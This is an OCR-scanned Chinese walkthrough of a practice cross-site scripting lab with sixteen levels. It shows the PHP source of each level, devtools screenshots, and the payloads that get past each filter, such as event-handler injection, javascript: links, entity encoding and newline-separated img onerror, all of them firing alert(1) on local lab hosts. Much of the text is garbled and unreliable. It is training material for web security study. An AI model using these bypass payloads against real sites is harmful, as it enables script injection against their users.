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<!DOCTYPE html>
<1--STATUS OK-->
<html>
» chead>..</head>
¥ cbody>
<h1 align="center" > iR%F levell</hl>
<h2 align:"(enter-'h2> =50
» <center>.</center>
<h3 align-"center”>payloadf1€ E:4</h3>
</body>
</html>

Styles  Computed  Event Listeners

DOM Breakpoints

Properties

Accessibility

Filter

element.style {

¥

h2[Attributes Style] {
text-align: center;

hz {
display: block;
font-size: 1.5em;
margin-block-start: .83em;
margin-block-end: @.83em;
margin-inline-start: 6px;
margin-inline-end: Bpx;
font-weight: bold;

user agent stylesh:

X R —ANGETA H KxssisiA
URLHInamef& St R RATHIEAN K, Hikpayload
Htest BN XFIEANHIHFEANT—K.

@ 127.0.0.9/levell .php?namef <script=alert(1) </script>
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MA—SERERERTAENE T, RABEANT

CcC 0 ® 127.0.0.9/level? phpkeyword =&submit=152z%

f 3t 75 B AT REAEAEIEN
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JERT R

Elements Console Sources Network

<!--STATUS OK-->

<html>

» <head>.</head>
v <body>

<hl align="center >3 IBF B level2c/hl

“center R AIREIMHANEAEEERAER < /h2>

g

se

evell.php” method="GET"
<input name="keyword” value="FRFIFHFIEE">
<input type="submit” name="submit” value-"$¥E
</Form>

</center:

¥ <center>.

</center>

<h3 align="center">payloadfI{€ f : 18</h3>
</body>

</html>

html  body center form input

Xt H AT &gt

payload: ">

level3

ﬂl:nﬂ;:nﬂ:.

e | FEEAEE

Performance  Memory

i Zllevel2
REREIFNECAIGEE.
[ ]

KEEP
CALM

AND

TRY
HARDER

payloadB<E:0

WibskZlevel2

input 164.8x22

KEEP

Lighthouse  HackBar

Styles  Computed

w B QD ® @

*IHEEXAIER.

Filter

element.style {
N

)

input {

-webkit-writing-mode: horizontal-tb !important;
text-rendering: auto;

color: -internal-light-dark-color(Mblack, [uhite);
Letter-spacing: normal;

word-spacing: normal;

text-transform: none;

text-indent: Opx;

text-shadow: none;

display: inline-block;

text-align: start;

-webkit-appearance: textfield;

Event Listeners  DOM Breakpoints ~ Properties  Accessibility

thov .cls

user agent stylesh

background-color: -internal-Light-dark-color([]rgb(255, 255, 255),

Mrgb(59, 59, 59));

-webkit-rtl-ordering: Logical;

cursor: text;

margin: » Gem;

font: » 468 13.3333px Arial;

padding: » 1px 2px;

border-width: b 2px;

border-style: b inset;

border-color: b -internal -Light-dark-color(Mrgb(118, 118, 118),
Wrgb(195, 195, 195));

border-image: b initial;

}

Inherited from center



Mlevel2 —H & EMIEH &

i kZlleveld

SRR ERABEERXRISR.

[x ﬂ Elements Console Sources Network Performance Memory Application Security

Lighthouse

<!--STATUS OK-->
html
» <head>..</head
¥ <body
hl align="center" >3 P leveld</hl
h2 align-"center >@HMBIMHEMHAEEEXMOER . </n2

¥ <center -
v.<form action-"leveld. php” method="GET yd
input name-"keyword" value-"FAFHAEE"> -- s0
input type="submit” name="submit” value-"1¥&
/form
fcenter
» <center>..</center
h3 align="center">payloadf]{< & :18</h3
/body

HackBar

=3

Styles  Computed Event Listeners ~ DOM Breakpoints

Filter

element.style {

¥

input {
-webkit-writing-mode: horizontal-tb !important;
text-rendering: auto;
color: -internal-Llight-dark-color(Mblack, [lwhite);

Letter-spacing: normal;
word-spacing: normal;
text-transform: none;
text-indent: 8px;
text-shadow: none;

display: inline-block;
text-align: start;
-webkit-appearance: textfield;

Properties

Jhtml background-color: -internal-light-dark-color([|rgb(255, 25!
Mrgb(53, 59, 59));
-webkit-rtl-ordering: Llogical;
cursor: text;
margin: » Oem;
font: » 460 13.3333px Arial;
padding: » 1px 2px;
border-width: b 2px;
border-style: b inset;
border-color: ¥ -internal -Light-dark-color(Mrgh(118, 118, 1
rgb(195, 195, 195));:

BR-EREZERAFBAE, BF — THEG

< align=center>Mi%ZH1evel3d</h1>
<?php

ini_set("display errors”,

$str - $ GET[ "keyword™"];

echo "<h2 align=center>£ﬁ¢§?ﬁ§ﬂﬂw' htmlspecialchars($str)."tHXMIER.</h2>". "<center>
<tform action=level3.php method=GET>

<input name=keyword value=[".htmlspecialchars($str).| ">
<input type=submit name=submit value=f=3% />

< /form>
</center>";
’>

< ><
<?php

echo "<h3 align=center>payloadf
2>

src=level3.png></

trlen($str)."</h3>";
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https://www.w3school.com.cn/jsref/jsref_events.asp

Mi&payload: **’ onclick=alert(1) //**
giaE, ERGHRELR:

name=keyword value="'".

onclick=alert(1)

9 i S R B S Einputil AER R, BT ASRATEE R AAE ol SRt 2 ik 5 344

Cc 0O @ 45 | Li/Users/000/Deskiop/test.ntm =]

" | 9 rlma

level4
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Styles  Computed Event Listeners  DOM Breakpoints ~ Properties  Accessibility
<!--STATUS OK--> e

html Filte thov
» <head>..</head element.style {
v <bedy }
hl align="center >IXIEK | 1eveldc/nl input { iser agent
h2 align-"center B HHIMOHEMER . </n2 iting-mode: horizontal-tb |important; )
¥ <center ndering: auto;
v cform action-"leveld.php” method-"GET s - al-Light-dark-color(Mblack, [white);
input name-"keyword” value> %< 58 TECER LEr Tl

input type-"submit” name—"submit” value-"i¥% CER-CEIEIE [l

/form ent: Bpx;
/center: hadow: none;
» <center>.</center inline-block;
h3 align="center”>payloadflH & :8</h3
Jbody ance: textfield;

background-color: -internal-light-dark-color([|rgh(255, 255, 255),
MWrgs(59, 59, 59));

- -rtl-ordering: Logical;

sor: text;

in: b Gem;

» 406 13.3333px Arial;

/html

inset;

or: » -internal-Light-dark-color(Mrgb(118, 118, 118),
, 195, 195));

border-image: » initial;

BERAGTEHEARTERTIMFS, XEFEMHEvalue
MiiEpayload: ”onclick = alert(1) // AR5 B ANAEfl & B E4



level 5

ZRAEEAN

Wik level5
REREIF" <script>alert(1)=</script> [HXAYEE.
[ alerttn=">

= ﬂ Elements Console Sources Network Performance Memory Application Security Lighthouse HackBar & P ox

Styles Computed  EventListeners DOM Breakpoints  Properties  Accessibility
<1--STATUS OK--> —

Chemis Filte thov .cls +, 2
» cheads..</head> element.style {
¥ <body> ¥

<hl align="center >3 IR H level5</n1>

N input { user agent stylesheet
<h2 align-"center >EHHIF" <scriptralert(l)=</script>BXRIHR . </h2>

-webkit-writing-mode: horizontal-tb !important;

¥ <center> text-rendering: auto;
¥ <form action="levelS.php method:"GET/ color: -internal-light-dark-color(Mblack, [Jwhite);
30 Letter-spacing: normal;
word-spacing: normal;
text-transform: none;
text-indent: Opx;
text-shadow: none;

cinput name="keyword" value <scr_ipt>
“alert(1)=">

¢input type="submit" name="submit" value-"H{E">

</Form> display: inline-block;
</center> text-align: start;
» ccenter>..</center> -webkit-appearance: textfield;
(3 alizn “centarspayload B1K 1204 fh3s background-color: -internal-Light-dark-color([1rgb(255, 255, 255),
/bod M rgb(59, 59, 59));
</body>

-webkit-rtl-ordering: Logical;
</html> cursor: text;
margin: » em;
Font: b 400 13.3333px Arial;
padding: » Ipx 2px;
border-width: » 2px;
border-style: » inset;
border-color: » -internal-Light-dark-color(Mrgb(118, 118, 118),
[ rgb(195, 195, 195));
border-image: » initial;
}
html body center form input Inherited from center -

o T e

T A Bscript B ZH BH T

imsEZllevel5

SREHEIF onclick=alert(1)//{HR94ER.
]

[w ﬂ Elements Console Sources Network Performance Memory Application Security Lighthouse HackBar

Styles  Computed  Event Listeners DOM Breakpoints  Properties  Accessib
<!1--STATUS OK--> —

<html> F
» chead>..</head> element.style {
¥ <body> ¥

<hl align="center >0 H level5</h1> S —
<h2 align-"center >@HHHB " onclick=alert(1)//ABXRMER . /h2> webkit-writing-mode: horizontal-th !important;
¥ <center> text-rendering: auto;
v <form action-"level5.php method=”GEV color: -internal-light-dark-color(Mblack, [white);
. <input name-"keyword” value o_nclifk-"alert(1)//""> -- $0 e e pacing gnormaL;

cinput type="submit® name="submit" value="{#Z"> n:ﬂrf—ipan;g: normal;
ext-transform: none;

¢/form> text-indent: Opx;
</center> text-shadow: none;
» ccenters.</center> e
<h3 align="center">payloadf& B :21</h3> text-align: start;
</body> -webkit-appearance: textfield;
<fhiml> background-color: -internal-Light-dark-color([|rgh(255, 255, 255),

Wrgb(53, 59, 59));
-webkit-rtl-ordering: logical;
cursor: text;
margin: » Gem;
font: » 466 13.3333px Arial;
padding: ¥ 1px 2px;
border-widtl
border-styl
border-color: b -internal-Light-dark-color(Mrgb(118, 118, 113),

[lrgb(195, 195, 195));
border-image: b initial;

}
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" OnCliCk=alert(1)/

BATHTMLZRTS: " onclick=alert(1) /
WA R
i ZEllevel5
SSEHTIF" &#x6f;nclick=alert(1) //ﬁ;engﬁg_
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</
<

</
<

<

<?php

ini set("displav errors”,
$str

$str2
$str3
ECITO  <IMZ aLipn=Ceniers X314+
<form action=level5.php method
<input name=keyword
<input type=submit name=submit
</ftorm>

<fcenter:>";

>
WPk E 1levels</

>
>

>

B):

str_replace("<script”, "<
str_replace("on",

s

>< src=level5.png></

TSEAE LR,
X B AT UM g abn 2 KO8 B>
R A AT &

align=center>XiP¥EF|levels</

>

strtolower($ GET["keyword”]);
scr_ipt",$str);
' $str2);
Firomispeciaichars($str) "1 XK
=GET>
value="".%str3."'">

T

value=18% />

Wikl level5

REKER

'><a href="javascript:alert(1)'>"

CES: BT

javascriptialert(1)

[x ﬂ Elements Console Sources Network Performance Memory Application
<!--STATUS OK-->

html

» <head>..</head

¥ <body

hl align-"center >JRi03RF|1evels/hl
h2 align-"center > EH I "><a href="javascriptialert(1) > HFKAER . /n2
¥ <center
v<form action-"level5.php" method-"GET
input name="keyword" value
¥<a href="javascript:alert(1).

“_

=50

input type="submit” name="submit" value="{§ZF
/a
/form
/center
» <center>..</center:
» <a href="javascript:alert(1)">.</a
/body
/html
bl Tmrtee i PR
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Styles

Computed

Filte

element.style {

N
3

a:-

webkit-any-Link {
color: -webkit-Link;
cursor: pointer;

text-decoration: ¥ underline;

Inherited from center
center {
text-align: -webkit-center;

Event Listeners

R.</h2>". " <ce

DOM Breakpoints

Properties  Accessibility

ithov .cls

user agent style

user agent style

margin =

border -

padding -




13EZlevel6

SBEHE" &#x6finclick=alert(1) //HEXRIER.
| [m=]
i 1> (Cors g0l

||||||||| IIIIIIIlIIIlII ||||||||||||
ver2.0:

payloadiii<E:26

KB E—E BN ERAT T I8, B T hrefREF
EREF X KNG BATIEIE
¥yipayload: ">

level7

Xof R AT M
script : HEEEHAS
onclick: ontB A&7 EE
RKAMNEGHAEH
HERRK: >alert(1)

{0 ® 127.0.0.9/level7 php?keyword="> <scrscriptipt>alert%281%29<%2Fscrscriptipt > &submit =183

127.0.0.9 B
FEREBITHE!

level8

RIEINE =12 A E

YRkl level8

L SineEE || st |

ET&%‘EE
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Styles  Computed  Event Listeners ~DOM Breakpoints  Properties  Accessibility
<1--STATUS OK-->» -

<html> Filer
» ¢head>..</head> element.style {
v <hody> H
<hl align="center" > IBHE| leveld«/h1> a:-webkit-any-Link {
» <center>..</center> color: -webkit-Link;
¥ <center> / cursor: pointer;
<br> text-decoration: » underline;

R E e == 0

</center>
» <center>..</center>
<h3 align="center">payloadf€ & :18</h3>
</body>
</html>

Inherited from center

center {
text-align: -webkit-center;

html  body center a

XEBEEMNZ AW iEalr
javascript:alert(1)

YlsEZllevel8
[lavasonptaler() || mmnAigE

[w ﬂ Elements Console Sources Network Performance Memory Application Security Lighthouse HackBar

Styles  Computed  Event Listeners  DOM Breakpoints  Properties  Ac
<!--STATUS OK--» —

<html> Filter
» ¢head>..</head> element.style {
¥ <body> ¥
<hl align="center >0 F| levels</hl> a:-webkit-any-link {
P <center>..</center> color: -webkit-Link;

¥ <center> / cursor: pointer;

<br> text-decoration: ¥ underline;
avascr_ipt:alert(1) >Z1E#EE /a> == 58 }

</center>
P <center>..</center>
<h3 align="center">payloadff] & :28</h3>
</body>
</html>

Inherited from center

center {
text-align: -webkit-center;

}
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ZH-RNENE, BAT
23X ¥ javascriptiF T HTMLS: 7%
payload:

javascript :alert(1)
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m: X, |, atpE#THTMLSG

charset="UTF-8"
name="viewport" content="width=device-width, initial-scale=1.@"
Document

8#x3c; &#xT73;8#x63; 8#xT72;8#x69;&#x70;8#x74;8#x3e;&#x61;8#x6C; &#xX65;&H#XxT2;!
<&#x61; href="#">i5%/8#x61;}]

https://blog.csdn.net/Ewige
BITHR

SWE-CSDNEE X | @ Document X ‘ & Document X | @ Document

C O @ 3% | C/Users/ooo/Desktop/test.htm

<script>alert(1) </script> <a href="#">{5%

BN R TTE, RIKBEWIEFHR, =, script, a... X0k, R4, HATHEN, BRAREN MWL 4 J5 174

IR https://www.baidu.com
JEAR R T

Not Found

The requested URL /ae, "¢, é “YheeZ¥a Ca0 ae2iViVaece%ose2jaece%oiv4 0 was not found on this server.

Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.



Hehttp:/Amww.baidu.comigiz
a] DA Bk

#rie) hao123 @ M e FR B gt i N

L3 MM ZAE HBRMART S Hhttp, 5 BBk

Forbidden

You don't have permission to access /"> <scr_ipt>alert(1)</scr_ipt> on this server.

Additionally, a 403 Forbidden error was encountered while trying to use an ErrorDocument to handle the request.

& TIRRD:



<?php

ini_set("display errors", 8);

$str = strtolower($ GET["keyword"]);
$str2-str_replace("script”™,"scr_ipt"”,%str);
$str3=str_replace("on","o _n",$str2);

$strda-str _replace("src"”,"sr _c",$str3);

$str5-str _replace("data"™,"da_ta",$str4);
$stre=str_replace("href”,"hr_ef",$str5);
$str7-str_replace('"", '&quot’,$str6);
echo '<center> hitp

XEXEAAT T — KL

s($str7, "http://"))

SR 5 18 i strops B AT ) 55\ FI 7 B8 http /XA FR/FHR
BA B E B IR O A B T
Xtjavascriptfti T HTML 4w A ;

¥iipayload: javascript:alert(1)/http://

e

119.php’keyword=javascrip%26%23x/4%3B%3Aalert%281%29%2t %2k http%3 A% 2 %2 8submit =z IR S HEE

127.0.0.9 B~
FERGET TR !

I ishtE
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2> C 0O @ 127.0.0.9/level10.php?keyword=well%20done!

,

BRI R —getlF RITEAN
A

form#search 14904

w &K DM

i3S level10
ﬁﬁ;ﬁﬂﬁuvbadonezmsemzm.

V[iSsion LEVEL 1

payloadtH<E:10

ik Z]level10

B #Egood jobMEXAIEER.
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[w j:l Elements Sources

Console

rk Performance

<!--STATUS OK-->

Application Security Lighthouse

Computed  Event Listeners ~ DOM Breakpoir

es  Accessibility

html
» <head>..</head
v cbody )
h1l align="center >3 MK B levell0</hl input[type="button” i] {
h2 align-"center >RBH B fMgood job!HBXFIER . </h2 -webkit-appearance: push-button;
¥center er-select: none;
¥<form id="search pace: pre;
input name="t link" value type="hidden tems: flex-start;
[<input name-"t history™ value type—"button” onclick-"alert(1)"> — $8 | ge LEqegcenter;
input name-"t_sort” value type-"hidden QIALFE CEE

» <center>..</center
h3 align-"center">payloadfJ{< & :9</h3
/body
/html
html body center form#search input
Console NMhat's New %

B TR ARG s A A R

11, 12, 13B#MATHWTTEMRE, BAKRT

color:

-internal -light-dark-color(buttontext,
d-color: -internal-light-dark-color(
border-box;

rgb(170, 176, 170));
rgb(239, 239, 239), WMrgb(

border-st » outset;

border-co » -internal-light-dark-color(Mrgb(118, 118, 118),

rgb(195
border-image: » initial;

EETIE
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wwi1.exifviewer.org FUIRAZAHERE.,

RRTEFRIEES A RIR, EFRHEABRT, FE, WP ARE.

< 2> X 0O © 127.0.0.9/levell4.php?keyword=hhh

RartEH, HZEEKur

level15

Wik Zllevel14
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TNERRRS

ng-include IE$HATFEEIMBE HTML X4, S8R EBENEETENFO .
ng-include BHAEILUE— N RAR, RE—MXHE. AERT, S8t

FEEEEF—EET.

Bl<script>

window.alert = function()

{

confirm("SEAKHI-DEa! ") ;
window.location.href="levell6.php?keyword=test";
}

L</script>

<title>RiBK Fllevells</title>

F</head>

<p align= ><img src=
BH<?php

ini set("display errors", 0);
$str = §_GET["src"]:
echo ' par

2>

></p>

FEBSleve 1 XHFHIEWI Tpayload , FlfsrcRER:E .
onerror SEEMNEINEEUYE COEEEIR) RERRIILE.

payload:?name=test’

UFIE SR BRI P 2 BFEE RS https://www.cnblogs.com/Zh1z3ven/p/12971361.htm

level16

< C 0 © 127.0.0.9/level16.php?name=scri
/ wRimskZllevel16

payloadﬂﬁjb’:ﬁ?

<hl align=centc>XIMRHFFELsK, g8 HEEHEMB! </hl>

:]' .htmlspecialchars (Sstr).'"></span>

w & O ®



AEEAT ABRIAERT, TH, ER - ZHFHEE.

Level 16
Bk BNk, TR Rm

B Alevel1 6 x
|. @ www bjcom/xss/level 16 phpTkeyward = tes W% iy e o @ Q@ * B ¥ RO &e- B T - E- D-5 9 S N & =
B BREE S SFE-F, I B upload-labs @ SGL Injsctions @ DoraBox - WESEL. @ Get the pikachuy @ pikachu ¥ss BE & BWVS - WebBRRE.. @ Zvullall @ et B Welcome : Damn V. P BRI TS "
INT v = @ SOLBASICS- UNIOM BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS: ENCODING- WTML- EMCRYPTION- OTHER- XSS~ LFI-

@ Load URL [ hittp/fwww.bj.comiss/lewed1 6.php feyward = test i

g *
£ Splitur
b Execute | 4

[lPostclata [ Reforer @ (RHEX 3B @K %URL 3B @K BASES! 3B | || ert replacing string| [7] Replace All b | -

ipEZlevelle
_---_-* Lesl

payloadiisfE:4

A LAE BIEAER IS BUAE )il Bonhn, EEE M ey

n] DUE BRI S B iU h A — A Bochr, 155G A M i JRes

WiESlevel16 X http:/fwww.bj.com/xssfleve... X | =+
. D view-source:http://www.bj.com/xss/level16.php?keyword=te: £ c @ QEF T BE ¥ & @
8 BxiniE % BE—T, (AP0 @8 upload-labs @ SQL Injections @ DoraBox - 2iF%M... @ Get the pikachu @ pikachu Xss E& @ BWVS - Webi@ais...
INT ~ = & SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-
@ Load URL "view-source:htlp;,"jwww. bj.com/xss/level16.phptkeyword=test
§  spliture
Y Execute |

(] Postdata [] Referrer 4% OxHEX ¥» % %URL 3 &% BASE64 I | /nsert string to replace | Insert replacing string| 4] Repli

IDOCTYPE html><!—STATUS OF— <html>
<head>
{meta http—equiv="content—type” content="text/html;charset=utf-8">
{script>
window. alert = function()
{ B
confirm(" SEREMIANES! ™) :
window. location. href="1levell?. php?arg0l=akarg02=b":
}
</script>
{titlerAKill K H|levell6</title>
</head>
<body>
<hl align=center># il ¥ #|levell6</h1>
{center>test{/center><{center>{img src=levell6. png></center>
<h3 align=center>payloadi /¥ :4</h3></body>
</html>




A LVE FIX B BCA AT AR R T, R 2 HUA#EE AT 1 <center>tr
Zrbo A e IR A 5 A CHS Bk — R e

FumESlevel16 X httpywwwbj.com/xss/leve.., X | 4
L. €& () view-source:http://www.bj.com/xss/level16.php?keyword=%: & ¢ @ Q&EF wBa $§ & O s
8 BwipE) o EE—TF, 4GH0E 6 upload-labs @ SQL Injections @ DoraBox - @M. @ Get the pikachu @ pikachu Xss 55 @& BWVS - WebiRiEis., & 2
INT ~ = @& SOLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XS5 LFI-
@l Load URL [ view-sourcethttp:y//www.bj.com/xss/level16.phpTkeyword= <script> alert{'xss')</script>
% splitURL
* Execute

[ Postdata [] Referrer 4 OxHEX ¥ & %URL 3 @ BASE64 I |/nsert string to replace| | Insert replacing string Replace Al

CIDOCTYPE html><!—=STATUS OK—><html>

<head>

<meta http—equiv="content—type” content="text/html;charset=utf-8">
{script>

window. alert = function()

{

confirm(“SERIFIAET! 7) ;

window. location. href="levell7. php?argll=akarg02=h";
'
</script>
CtitlerIildeF]levell6/titler
</head>
<body>
<hl align=center >l # #1evel16</hl
<center><&nbsp; >&nbsp;alert (" xss’ ) <&nbsp;&nbsp;></center><{center>{img src=levell6. png></center>
<h3 align=center>payvloadffJ{CF :40</h3></body>
</html >




A PAE R Fscript LA/ TS 2 R AR G B il R F F) 28 7 A S 4
o XFEMEIMELZ GRS 1o BreASeE A IR RN

| lavelis. phpEd
BK!DOCTYPE html><!--STATUS OK--><html>
[<head>
<meta hifp-equiv="content-type" content="text/html:charset=utf-8">

[<script>
window.alert = function()
1{
confirm("ZERMELANELL.") ;
window.location.href="lsve =a&al =b";

</script>
<titlex il K #levellé</title>

</he

1<body

<hl align= S e F] levell6< /bl

php

ini_set (" I - . ): 1
5str = strtolower (S GET["keyn "1): '____.——/
$strZ2=str replace(" "o "E&nhsp:",S$skr):
$str3=str_replace(" ","&nhsp:",5str2); < ———— =
$strd=str replace("/", "&phap:", $str3) Fh\\-__ )
Satrb=str_replace(" ", "snhap:",5strd): - 3
echo " : r>".53tr5."
<center><img sLc= Lhg>»</center>

B<?php

echo " nterr>payloadiil G " . skxlen($strs) . "

</body>

L</html>

L el L Y

A LUE BIEF L LA R S HUE P M) script B #pi&nbsp; o FEFT K245 2
¥ ZHUE P IS BB si&nbsp; o EFER3M RS EHUE T )/ 585
i i &nbsp; »

Al 55 4% i ) 38 A E BRRAE AR K2 — 30K, HEXBEE A ssidm?
FUNIX AR S 1, 0 B WRE FRATT ki ik 75 B ks 7 155 4 B ik
1718 XX 7, At FRATTE nT DU B 4k e A1 0T . 1 HiX B/ /5
WgmtS 1, ProelEATRERZ DA T LGRS, iz g HEf)
<{img> .

X BREEA T




AL B B I8 A R A e, DO AR L AR SR AT A 1l B B A
2R TR R Z ARSI DR X E T DU R fJur 19 65 4
HA%0a R, Bkt

TDEZlevel 16 X httpi/fwwwbj.comfxssfleve.. X |+
@ € (O view-sourcethttp://www.bj.com/xss/level16.php?keyword=% £ ¢ @ Qg#gF wBE & A s e
(8 g=iE 5 EE—TF, (7FE @9 upload-labs @ SQL Injections @ DoraBox - =FEM... @ Get the pikachu @ pikachu Xss [5& @ BWVS - WebiiiFis... & Zvull
INT ~ = @ SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS: ENCODING- HTML- ENCRYPTION- OTHER- XSS+ LFI-

@ load URL [ yiew-source:httpy//www.bj.com/fxss/levell6.phplkeyword = <img%0asrc="111"%0aonerror=alert{'xss')>

B splitURL
b Execute

[ Post data [ | Referrer 4 OxHEX ™ & %URL ™ & BASEE4 Insert string fo replace

Insert replacing string Replace All 3

{IDOCTYPE html »<!—STATUS OK—><html>

<head>

<{meta http—equiv="content—type” content="text/html;charset=utf-8">
<seript>

window, alert = function()

{

confirm("5EMEMIAET! 7)
window. location. href="1evell7. php?arg0l=akarg02=h":
}
</seript>
Ctitler il F|levell6</ title>
</head>
<body>
<hl align=center> Ml H|level16</h1>
<center><img
grc:'m" h———_
onerror=alert (" xss’ ) »>{/center>{center><{img sre=levellf.png></ecenter>
<h3 align=center>payloadf9t:/ :36</h3></body>
</html>

a] DL 31 o1 P5 A5 B R FRAT R & B4 GRS A2 IEF dE A\ Bll<center> A |
B, T RMERER L TRERINTEE |

) mimESlevels W hupyfeww bjcomixssleve.. X+

[.| & O wwwbjcomrss/level 16 phpfkeyword = <img@ins  90% £ e * @ ogr B8 ¥+ A5 &- B F - E- -5 @ & N & & =
T,

& maisl S AF-F, GPON @ upload-labs @ SOL Injections @ DoraBox - WHSEAL. @ Get the pikechu @ pikachu ¥ss B& @ BWVS - WebdiEit... @ Zvutdin & fEwiimet [ wWelcome = Damn v PP EEFRSATR NS w
INT ~ = & SOLBASICS- UNIOMN BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BVPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS~ LFI-

& LloadurL "hrrrx,lmw.hi.mnwwlewlm{d—,_‘ pward = cime ="111 alert]'wss)o o
£ spltum =

k  Execute

[l Postdata [ ] Referrer 4B OxHEX 3B @ SURL BB 4 BASEGY 3B | inserr siin ey placivsg string| [2] Replace All 2 | T




W ULE R |, RGN K.

i H: https://mwww.zhaosimeng.cn/writeup/119.html
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